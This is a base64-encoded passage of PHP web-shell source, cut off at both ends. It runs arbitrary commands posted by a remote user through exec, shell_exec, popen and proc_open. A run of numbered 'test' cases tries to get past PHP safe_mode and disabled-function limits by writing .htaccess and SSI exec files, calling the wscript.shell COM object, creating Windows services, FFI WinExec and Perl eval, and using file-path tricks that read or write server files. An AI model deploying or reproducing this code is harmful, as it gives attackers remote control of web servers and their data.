Q0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0iZXhlYyIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzdHJpbmcgPSBleGVjKCRfUE9TVFsnY29tbWFuZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJHN0cmluZzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkZ1bmN0aW9ucyBleGVjIjsNCg0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJG1ldGhvZD09InNoZWxsX2V4ZWMiKSB7DQogICAgICAgICAgICAgICAgJHN0cmluZyA9IHNoZWxsX2V4ZWMoJF9QT1NUWydjb21tYW5kJ10pOw0KICAgICAgICAgICAgICAgIGVjaG8gJHN0cmluZzsNCiAgICAgICAgICAgICAgICBlY2hvICJGdW5jdGlvbnMgc2hlbGxfZXhlYyI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0icG9wZW4iKSB7DQogICAgICAgICAgICAgICAgJHBwID0gcG9wZW4oJF9QT1NUWydjb21tYW5kJ10sICdyJyk7DQogICAgICAgICAgICAgICAgJHJlYWQgPSBmcmVhZCgkcHAsIDIwOTYpOw0KICAgICAgICAgICAgICAgIGVjaG8gJHJlYWQ7DQogICAgICAgICAgICAgICAgcGNsb3NlKCRwcCk7DQogICAgICAgICAgICAgICAgZWNobyAiRnVuY3Rpb25zIHBvcGVuIjsNCiAgICAgICAgICAgICAgICAgIH0NCg0KCSAgaWYgKCRtZXRob2Q9PSJwcm9jX29wZW4iKSB7DQoNCg0KJGNvbW1hbmQgID0gaXNzZXQoJF9QT1NUWydjb21tYW5kJ10pICA/ICRfUE9TVFsnY29tbWFuZCddICA6ICcnOw0KDQoNCg0KDQpzZXNzaW9uX3N0YXJ0KCk7DQoNCiAgICBpZiAoIWVtcHR5KCRjb21tYW5kKSkgew0KICAgICAgICBpZiAoKCRpID0gYXJyYXlfc2VhcmNoKCRfUE9TVFsnY29tbWFuZCddLCAkX1NFU1NJT05bJ2hpc3RvcnknXSkpICE9PSBmYWxzZSkNCiAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTlsnaGlzdG9yeSddWyRpXSk7DQoNCiAgICAgICAgYXJyYXlfdW5zaGlmdCgkX1NFU1NJT05bJ2hpc3RvcnknXSwgJF9QT1NUWydjb21tYW5kJ10pOw0KDQogICAgICAgICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gJyQgJyAuICRfUE9TVFsnY29tbWFuZCddIC4gIlxuIjsNCg0KICAgICAgICBpZiAoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0qJCcsICRfUE9TVFsnY29tbWFuZCddKSkgew0KICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9IHJlYWxwYXRoKCRpbmlbJ3NldHRpbmdzJ11bJ2hvbWUtZGlyZWN0b3J5J10pOw0KICAgICAgICB9IGVsc2VpZiAoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1BPU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKSB7DQoNCiAgICAgICAgICAgIGlmICgkcmVnc1sxXXswfSA9PSAnLycpIHsNCiAgICAgICAgICAgICAgICAkbmV3X2RpciA9ICRyZWdzWzFdOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8uLycpICE9PSBmYWxzZSkNCiAgICAgICAgICAgICAgICAkbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsNCg0KICAgICAgICAgICAgd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQ0KICAgICAgICAgICAgICAgICRuZXdfZGlyID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkbmV3X2Rpcik7DQoNCiAgICAgICAgICAgIHdoaWxlIChwcmVnX21hdGNoKCd8L1wuXC4oPyFcLil8JywgJG5ld19kaXIpKQ0KICAgICAgICAgICAgICAgICRuZXdfZGlyID0gcHJlZ19yZXBsYWNlKCd8Lz9bXi9dKy9cLlwuKD8hXC4pfCcsICcnLCAkbmV3X2Rpcik7DQoNCiAgICAgICAgICAgIGlmICgkbmV3X2RpciA9PSAnJykgJG5ld19kaXIgPSAnLyc7DQoNCiAgICAgICAgICAgIGlmIChAY2hkaXIoJG5ld19kaXIpKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9ICRuZXdfZGlyOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ291dHB1dCddIC49ICJjZDogY291bGQgbm90IGNoYW5nZSB0bzogJG5ld19kaXJcbiI7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgfSBlbHNlaWYgKHRyaW0oJF9QT1NUWydjb21tYW5kJ10pID09ICdleGl0Jykgew0KICAgICAgICAgICAgbG9nb3V0KCk7DQogICAgICAgIH0gZWxzZSB7DQoNCiAgICAgICAgICAgIGNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOw0KDQogICAgICAgICAgICBpZiAoIWluaV9nZXQoJ3NhZmVfbW9kZScpKSB7DQogICAgICAgICAgICAgICAgcHV0ZW52KCdST1dTPScgLiAkcm93cyk7DQogICAgICAgICAgICAgICAgcHV0ZW52KCdDT0xVTU5TPScgLiAkY29sdW1ucyk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICRsZW5ndGggPSBzdHJjc3BuKCRfUE9TVFsnY29tbWFuZCddLCAiIFx0Iik7DQogICAgICAgICAgICAkdG9rZW4gPSBzdWJzdHIoJF9QT1NUWydjb21tYW5kJ10sIDAsICRsZW5ndGgpOw0KICAgICAgICAgICAgaWYgKGlzc2V0KCRpbmlbJ2FsaWFzZXMnXVskdG9rZW5dKSkNCiAgICAgICAgICAgICAgICAkY29tbWFuZCA9ICRpbmlbJ2FsaWFzZXMnXVskdG9rZW5dIC4gc3Vic3RyKCRfUE9TVFsnY29tbWFuZCddLCAkbGVuZ3RoKTsNCg0KICAgICAgICAgICAgJGlvID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRwID0gcHJvY19vcGVuKCRfUE9TVFsnY29tbWFuZCddLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgYXJyYXkoMSA9PiBhcnJheSgncGlwZScsICd3JyksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyID0+IGFycmF5KCdwaXBlJywgJ3cnKSksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAkaW8pOw0KDQogICAgICAgICAgICB3aGlsZSAoIWZlb2YoJGlvWzFdKSkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFTlRfQ09NUEFULCAnVVRGLTgnKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHdoaWxlICghZmVvZigkaW9bMl0pKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydvdXRwdXQnXSAuPSBodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRpb1syXSksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVOVF9DT01QQVQsICdVVEYtOCcpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBmY2xvc2UoJGlvWzFdKTsNCiAgICAgICAgICAgIGZjbG9zZSgkaW9bMl0pOw0KICAgICAgICAgICAgcHJvY19jbG9zZSgkcCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoZW1wdHkoJF9TRVNTSU9OWydoaXN0b3J5J10pKSB7DQogICAgICAgICRqc19jb21tYW5kX2hpc3QgPSAnIiInOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOw0KICAgICAgICAkanNfY29tbWFuZF9oaXN0ID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7DQogICAgfQ0KICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIAkJfQ0KDQoNCgkJYnJlYWs7DQogIGNhc2UgJ3Rlc3QxMCc6DQogIEBlcnJvcl9sb2coJF9QT1NUWyd0ZXN0MTBfY29udGVudCddLCAzLCJwaHA6Ly8uLi8uLi8iLiRfUE9TVFsndGVzdDEwX2ZpbGUnXSk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0MTEnOg0KICBpZihmaWxlX2V4aXN0cygiLi9yZXN1bHQudHh0IikgJiYgZmlsZV9leGlzdHMoIi4vLmh0YWNjZXNzIikpDQogICB7DQogICBAdW5saW5rKCIuLy5odGFjY2VzcyIpOw0KICAgQHVubGluaygiLi9yZXN1bHQudHh0Iik7DQogICB9DQogICBpZiAoJGhhbmRsZSA9IEBmb3BlbigiLi8uaHRhY2Nlc3MiLCAndycpKSB7IEBmd3JpdGUoJGhhbmRsZSwgInBocF92YWx1ZSBtYWlsLmZvcmNlX2V4dHJhX3BhcmFtZXRlcnMgJy10ICYmICIuJF9QT1NUWyd0ZXN0MTFfY21kJ10uIiA+ICIuZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pLiIvcmVzdWx0LnR4dCciKTsgbWFpbCgiIiwgIiIsICIiKTsgfQ0KICAgLy93aGlsZSghZmlsZV9leGlzdHMoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pLiIvcmVzdWx0LnR4dCIpKSBzbGVlcCgxKTsNCiAgIGlmKCRsaW5lcykgZm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lKSB7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbGluZSk7IH0NCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxMic6DQogIGlmICgkaGFuZGxlID0gQGZvcGVuKCIuLy5odGFjY2VzcyIsICd3JykpIHsgQGZ3cml0ZSgkaGFuZGxlLCAiQWRkVHlwZSB0ZXh0L2h0bWwgLnNodG1sXHJcbkFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAuc2h0bWxcclxuT3B0aW9ucyArSW5jbHVkZXMiKTsgfQ0KICBpZiAoJGhhbmRsZSA9IEBmb3BlbigiLi9jbWRzc2kuc2h0bWwiLCAndycpKSB7IEBmd3JpdGUoJGhhbmRsZSwgJzwhLS0jZXhlYyBjbWQ9IicuJF9QT1NUWyd0ZXN0MTJfY21kJ10uJyItLT4nKTsgfQ0KICBAaW5jbHVkZSgiaHR0cDovLyIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLnJ0cmltKGRpcm5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pLCcvXFwnKS4iL2NtZHNzaS5zaHRtbCIpOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDEzJzoNCiAgJHRtcCA9ICcnOw0KICBpZihAaXNfd3JpdGFibGUoJF9FTlZbJ1RNUCddKSkgJHRtcD0kX0VOVlsnVE1QJ107DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJykpKSAkdG1wPWluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJyk7DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGluaV9nZXQoJ3VwbG9hZF90bXBfZGlyJykpKSAkdG1wPWluaV9nZXQoJ3VwbG9hZF90bXBfZGlyJyk7DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGRpcm5hbWUoX19GSUxFX18pKSkgJHRtcD1kaXJuYW1lKF9fRklMRV9fKTsNCiAgZWxzZSBicmVhazsNCiAgQHVubGluaygkdG1wLicvcmVzdWx0X3Rlc3QxMy50eHQnKTsNCiAgJHdzY3JpcHQgPSBuZXcgQ09NKCd3c2NyaXB0LnNoZWxsJyk7DQogICR3c2NyaXB0LT5SdW4oJ2NtZC5leGUgL2MgIicuJF9QT1NUWyd0ZXN0MTNfY21kJ10uJyIgPiAnLiR0bXAuJy9yZXN1bHRfdGVzdDEzLnR4dCcpOw0KICB3aGlsZSghZmlsZV9leGlzdHMoJHRtcC4nL3Jlc3VsdF90ZXN0MTMudHh0JykpIHNsZWVwKDEpOw0KICAkbGluZXMgPSBAZmlsZSAoJHRtcC4nL3Jlc3VsdF90ZXN0MTMudHh0Jyk7DQogIGlmKCRsaW5lcykgZm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lKSB7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbGluZSk7IH0NCiAgQHVubGluaygkdG1wLicvcmVzdWx0X3Rlc3QxMy50eHQnKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxNCc6DQogICRpb25jdWJlID0gQGlvbmN1YmVfcmVhZF9maWxlKCRfUE9TVFsndGVzdDE0X2NtZCddKTsNCiAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpb25jdWJlKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxNSc6DQogICR0bXAgPSAnJzsNCiAgaWYoQGlzX3dyaXRhYmxlKCRfRU5WWydUTVAnXSkpICR0bXA9JF9FTlZbJ1RNUCddOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShpbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpKSkgJHRtcD1pbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShpbmlfZ2V0KCd1cGxvYWRfdG1wX2RpcicpKSkgJHRtcD1pbmlfZ2V0KCd1cGxvYWRfdG1wX2RpcicpOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShkaXJuYW1lKF9fRklMRV9fKSkpICR0bXA9ZGlybmFtZShfX0ZJTEVfXyk7DQogIGVsc2UgYnJlYWs7DQogIEB1bmxpbmsoJHRtcC4nL3Jlc3VsdF90ZXN0MTUudHh0Jyk7DQogIEB3aW5fc2hlbGxfZXhlY3V0ZSgiY21kLmV4ZSIsIiIsIi9jICIuJF9QT1NUWyd0ZXN0MTVfY21kJ10uIiA+ICIuJHRtcC4iL3Jlc3VsdF90ZXN0MTUudHh0Iik7DQogIHdoaWxlKCFmaWxlX2V4aXN0cygkdG1wLicvcmVzdWx0X3Rlc3QxNS50eHQnKSkgc2xlZXAoMSk7DQogICRsaW5lcyA9IEBmaWxlICgkdG1wLicvcmVzdWx0X3Rlc3QxNS50eHQnKTsNCiAgaWYoJGxpbmVzKSBmb3JlYWNoICgkbGluZXMgYXMgJGxpbmUpIHsgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRsaW5lKTsgfQ0KICBAdW5saW5rKCR0bXAuJy9yZXN1bHRfdGVzdDE1LnR4dCcpOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDE2JzoNCiAgJHRtcCA9ICcnOw0KICBpZihAaXNfd3JpdGFibGUoJF9FTlZbJ1RNUCddKSkgJHRtcD0kX0VOVlsnVE1QJ107DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJykpKSAkdG1wPWluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJyk7DQogIGlmKEBpc193cml0ZWFibGUoaW5pX2dldCgndXBsb2FkX3RtcF9kaXInKSkpICR0bXA9aW5pX2dldCgndXBsb2FkX3RtcF9kaXInKTsNCiAgZWxzZWlmKEBpc193cml0ZWFibGUoZGlybmFtZShfX0ZJTEVfXykpKSAkdG1wPWRpcm5hbWUoX19GSUxFX18pOw0KICBlbHNlIGJyZWFrOw0KICAkbmFtZT0kdG1wLiJcXCIudW5pcWlkKCk7DQogICRuPXVuaXFpZCgpOw0KICAkY21kPShlbXB0eSgkX1NFUlZFUlsnQ09NU1BFQyddKSk/J2M6XFx3aW5kb3dzXFxzeXN0ZW0zMlxcY21kLmV4ZSc6JF9TRVJWRVJbJ0NPTVNQRUMnXTsNCiAgd2luMzJfY3JlYXRlX3NlcnZpY2UoYXJyYXkoJ3NlcnZpY2UnPT4kbiwnZGlzcGxheSc9PiRuLCdwYXRoJz0+JGNtZCwncGFyYW1zJz0+Ii9jICIuJF9QT1NUWyd0ZXN0MTZfY21kJ10uIiA+XCIkbmFtZVwiIikpOw0KICB3aW4zMl9zdGFydF9zZXJ2aWNlKCRuKTsNCiAgd2luMzJfc3RvcF9zZXJ2aWNlKCRuKTsNCiAgd2luMzJfZGVsZXRlX3NlcnZpY2UoJG4pOw0KICB3aGlsZSghZmlsZV9leGlzdHMoJG5hbWUpKSBzbGVlcCgxKTsNCiAgJGV4ZWM9ZmlsZV9nZXRfY29udGVudHMoJG5hbWUpOw0KICB1bmxpbmsoJG5hbWUpOw0KICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGV4ZWMpOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDE3JzoNCiAgJF9QT1NUWyd0ZXN0MTdfY21kJ10gPSBzdHJfcmVwbGFjZSgnXFwnLCdcXFxcJywkX1BPU1RbJ3Rlc3QxN19jbWQnXSk7DQogICRwZXJsID0gbmV3IFBlcmwoKTsNCiAgJHBlcmwtPmV2YWwoJ3ByaW50IGAnLiRfUE9TVFsndGVzdDE3X2NtZCddLidgJyk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0MTgnOg0KICBpZihAaXNfd3JpdGFibGUoJF9FTlZbJ1RNUCddKSkgJHRtcD0kX0VOVlsnVE1QJ107DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJykpKSAkdG1wPWluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJyk7DQogIGlmKEBpc193cml0ZWFibGUoaW5pX2dldCgndXBsb2FkX3RtcF9kaXInKSkpICR0bXA9aW5pX2dldCgndXBsb2FkX3RtcF9kaXInKTsNCiAgZWxzZWlmKEBpc193cml0ZWFibGUoZGlybmFtZShfX0ZJTEVfXykpKSAkdG1wPWRpcm5hbWUoX19GSUxFX18pOw0KICBlbHNlIGJyZWFrOw0KICAkbmFtZT0kdG1wLiJcXCIudW5pcWlkKCk7DQogICRhcGk9bmV3IGZmaSgiW2xpYj0na2VybmVsMzIuZGxsJ10gaW50IFdpbkV4ZWMoY2hhciAqQVBQLGludCBTVyk7Iik7DQogICRyZXM9JGFwaS0+V2luRXhlYygiY21kLmV4ZSAvYyAiLiRfUE9TVFsndGVzdDE4X2NtZCddLiIgPlwiJG5hbWVcIiIsMCk7DQogIHdoaWxlKCFmaWxlX2V4aXN0cygkbmFtZSkpIHNsZWVwKDEpOw0KICAkZXhlYz1maWxlX2dldF9jb250ZW50cygkbmFtZSk7DQogIHVubGluaygkbmFtZSk7DQogIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZXhlYyk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0MTknOg0KDQppZihFbXB0eSgkdGVzdDE5KSBhTmQgRW1wdHkoJF9HRVRbJ3Rlc3QxOSddKSBhTmQgRW1wdHkoJF9QT1NUWyd0ZXN0MTknXSkpIGRpRSgiXG4iLiRrYXJhdG9uaWspOw0KDQppZighZW1wdHkoJF9HRVRbJ3Rlc3QxOSddKSkgJGZpbGU9JF9HRVRbJ3Rlc3QxOSddOw0KaWYoIWVtcHR5KCRfUE9TVFsndGVzdDE5J10pKSAkZmlsZT0kX1BPU1RbJ3Rlc3QxOSddOw0KDQoNCmlmKChjdXJsX2V4ZWMoY3VybF9pbml0KCJmaWxlOmh0dHA6Ly8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8iLiRmaWxlKSkpIGFOZCAhZW1wdFkoJGZpbGUpKSBkaWUoIjxCPjxicj5OZ3UgdHJvbmcgcnVuZzwvQj48L0ZPTlQ+Iik7DQplbHNlaWYoIWVtcHRZKCRmaWxlKSkgZGllKCI8Rk9OVCBDT0xPUj1cIlJFRFwiPjxDRU5URVI+U29ycnkuLi4gRmlsZQ0KPEI+Ii5odG1sc3BlY2lhbGNoYXJzKCRmaWxlKS4iPC9CPiBkb2Vzbid0IGV4aXN0cyBvciB5b3UgZG9uJ3QgaGF2ZQ0KcGVybWlzc2lvbnMuPC9DRU5URVI+PC9GT05UPiIpO0JlYXJrOw0KY2FzZSAndGVzdDIwJzoNCkBvYl9jbGVhbigpOw0KICAkZXJyb3JfcmVwb3J0aW5nID0gQGluaV9nZXQoJ2Vycm9yX3JlcG9ydGluZycpOw0KICBlcnJvcl9yZXBvcnRpbmcoRV9BTEwgXiBFX05PVElDRSk7DQogIEBpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIDEpOw0KICBAaW5pX2FsdGVyKCJkaXNwbGF5X2Vycm9ycyIsIDEpOw0KICAkc3RyPUBmb3BlbigkX1BPU1RbJ3Rlc3QyMF9maWxlJ10sInIiKTsNCiAgd2hpbGUoIWZlb2YoJHN0cikpe3ByaW50IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJHN0cikpO30NCiAgZmNsb3NlKCRzdHIpOw0KICBlcnJvcl9yZXBvcnRpbmcoJGVycm9yX3JlcG9ydGluZyk7DQogIGJyZWFrOw0KY2FzZSAndGVzdDIxJzoNCiRmaWxlbj0kX1BPU1RbJ3Rlc3QyMV9maWxlJ107DQpAZm9wZW4oJ3NycGF0aDovLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLycuJF9QT1NUWyd0ZXN0MjFfZmlsZSddLCJhIik7DQppZiAoZmlsZV9leGlzdHMoJGZpbGVuKSkNCnsNCmVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYxJ107DQp9DQplbHNlDQplY2hvICJDYW4ndCB3cml0ZSBmaWxlIjsNCg0KICBicmVhazsNCmNhc2UgJ3Rlc3QyMic6DQogICAgICAgZWNobyAiUEhQIHJlYWxwYXRoKCkgbGlzdGluZyBkaXJlY3RvcnkgU2FmZV9tb2RlIGJ5cGFzcyBFeHBsb2l0XHJcblxyXG4iOw0KICAgICAgIGlmKCEkZGlyKXskZGlyPScvZXRjLyc7fTsNCiAgICAgICBpZighZW1wdHkoJF9QT1NUWydlbmRfcmxwaCddKSl7JGVuZF9ybHBoPSRfUE9TVFsnZW5kX3JscGgnXTt9ZWxzZXskZW5kX3JscGg9Jyc7fQ0KICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25fcmxwaCddKSl7JG5fcmxwaD0kX1BPU1RbJ25fcmxwaCddO31lbHNleyRuX3JscGg9JzMnO30NCg0KICAgICAgIGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLicvJykpe2VjaG8gJHJlYWxwYXRoLiJcclxuIjt9DQogICAgICAgaWYoJGVuZF9ybHBoIT0nJyAmJiAkcmVhbHBhdGg9cmVhbHBhdGgoJGRpci4nLycuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30NCiAgICAgICBmb3JlYWNoKCRwcmVzZXRzX3JscGggYXMgJHByZXNldF9ybHBoKXsNCiAgICAgICAgICAgaWYoJHJlYWxwYXRoPXJlYWxwYXRoKCRkaXIuJy8nLiRwcmVzZXRfcmxwaC4kZW5kX3JscGgpKXtlY2hvICRyZWFscGF0aC4iXHJcbiI7fQ0KICAgICAgIH0NCiAgICAgICBmb3IoJGk9MDsgJGkgPCBzdHJsZW4oJGNoYXJzX3JscGgpOyAkaSsrKXsNCiAgICAgICAgICBpZigkcmVhbHBhdGg9cmVhbHBhdGgoJGRpci4iL3skY2hhcnNfcmxwaFskaV19Ii4kZW5kX3JscGgpKXtlY2hvICRyZWFscGF0aC4iXHJcbiI7fQ0KICAgICAgICAgIGlmKCRuX3JscGg8PTEpe2NvbnRpbnVlO307DQogICAgICAgICAgZm9yKCRqPTA7ICRqIDwgc3RybGVuKCRjaGFyc19ybHBoKTsgJGorKyl7DQogICAgICAgICAgICAgaWYoJHJlYWxwYXRoPXJlYWxwYXRoKCRkaXIuIi97JGNoYXJzX3JscGhbJGldfXskY2hhcnNfcmxwaFskal19Ii4kZW5kX3JscGgpKXtlY2hvICRyZWFscGF0aC4iXHJcbiI7fQ0KICAgICAgICAgICAgIGlmKCRuX3JscGg8PTIpe2NvbnRpbnVlO307DQogICAgICAJICAgICBmb3IoJHg9MDsgJHggPCBzdHJsZW4oJGNoYXJzX3JscGgpOyAkeCsrKXsNCiAgICAgICAgICAgICAgICBpZigkcmVhbHBhdGg9cmVhbHBhdGgoJGRpci4iL3skY2hhcnNfcmxwaFskaV19eyRjaGFyc19ybHBoWyRqXX17JGNoYXJzX3JscGhbJHhdfSIuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30NCiAgICAgICAgICAgICAgICBpZigkbl9ybHBoPD0zKXtjb250aW51ZTt9Ow0KICAgICAgICAgICAgICAgIGZvcigkeT0wOyAkeSA8IHN0cmxlbigkY2hhcnNfcmxwaCk7ICR5Kyspew0KICAgICAgCSAgICAgICAgICAgaWYoJHJlYWxwYXRoPXJlYWxwYXRoKCRkaXIuIi97JGNoYXJzX3JscGhbJGldfXskY2hhcnNfcmxwaFskal19eyRjaGFyc19ybHBoWyR4XX17JGNoYXJzX3JscGhbJHldfSIuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30NCiAgICAgIAkgICAgICAgICAgIGlmKCRuX3JscGg8PTQpe2NvbnRpbnVlO307DQogICAgICAJICAgICAgICAgICBmb3IoJHo9MDsgJHogPCBzdHJsZW4oJGNoYXJzX3JscGgpOyAkeisrKXsNCiAgICAgIAkgICAgICAgICAgICAgIGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLiIveyRjaGFyc19ybHBoWyRpXX17JGNoYXJzX3JscGhbJGpdfXskY2hhcnNfcmxwaFskeF19eyRjaGFyc19ybHBoWyR5XX17JGNoYXJzX3JscGhbJHpdfSIuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30NCiAgICAgIAkgICAgICAgICAgICAgIGlmKCRuX3JscGg8PTUpe2NvbnRpbnVlO307DQogICAgICAJICAgICAgICAgICAgICBmb3IoJHc9MDsgJHcgPCBzdHJsZW4oJGNoYXJzX3JscGgpOyAkdysrKXsNCiAgICAgIAkgICAgICAgICAgICAgICAgIGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLiIveyRjaGFyc19ybHBoWyRpXX17JGNoYXJzX3JscGhbJGpdfXskY2hhcnNfcmxwaFskeF19eyRjaGFyc19ybHBoWyR5XX17JGNoYXJzX3JscGhbJHpdfXskY2hhcnNfcmxwaFskd119Ii4kZW5kX3JscGgpKXtlY2hvICRyZWFscGF0aC4iXHJcbiI7fQ0KICAgICAgCQkgICAgICB9DQogICAgICAJCSAgIH0NCiAgICAgIAkgICAgICAgICB9DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgfQ0KICAgICAgIGVjaG8gIlxyXG4gR2VuZXJhdGlvbiB0aW1lOiAiLnJvdW5kKEBnZXRtaWNyb3RpbWUoKS1zdGFydHRpbWUsNCkuIiBzZWNcclxuIjsNCiBicmVhazsNCmNhc2UgJ3Rlc3QyMyc6DQogIEBzZXNzaW9uX3NhdmVfcGF0aCgkX1BPU1RbJ3Rlc3QyM19maWxlMiddLiJcMDskdGVtcGRpciIpOw0KICBAc2Vzc2lvbl9zdGFydCgpOw0KICBAJF9TRVNTSU9OW3BocF09JF9QT1NUWyd0ZXN0MjNfZmlsZTEnXTsNCiAgJGZpbGVuPSRfUE9TVFsndGVzdDIzX2ZpbGUyJ107DQogICAgaWYoZmlsZV9leGlzdHMoJGZpbGVuKSkNCiAgICBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MSddLiIgICIuJGZpbGVuOw0KICAgIGVsc2UNCiAgZWNobyAiQ2FuJ3Qgd3JpdGUgZmlsZSI7DQogIGJyZWFrOw0KY2FzZSAndGVzdDI0JzoNCkBwdXRlbnYoIlRNUERJUj0iLiRfUE9TVFsndGVzdDI0X2ZpbGUyJ10pOw0KICBAaW5pX3NldCgic2Vzc2lvbi5zYXZlX3BhdGgiLCAiIik7DQogIEBpbmlfYWx0ZXIoInNlc3Npb24uc2F2ZV9wYXRoIiwgIiIpOw0KICBAc2Vzc2lvbl9zdGFydCgpOw0KICBAJF9TRVNTSU9OW3BocF09JF9QT1NUWyd0ZXN0MjRfZmlsZTEnXTsNCiAgJGZpbGVuPSRfUE9TVFsndGVzdDI0X2ZpbGUyJ107DQogIGlmKGZpbGVfZXhpc3RzKCRmaWxlbikpDQogIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYxJ10uIiAgIi4kZmlsZW47DQogIGVsc2UNCiAgZWNobyAiQ2FuJ3Qgd3JpdGUgZmlsZSI7DQogIGJyZWFrOw0KY2FzZ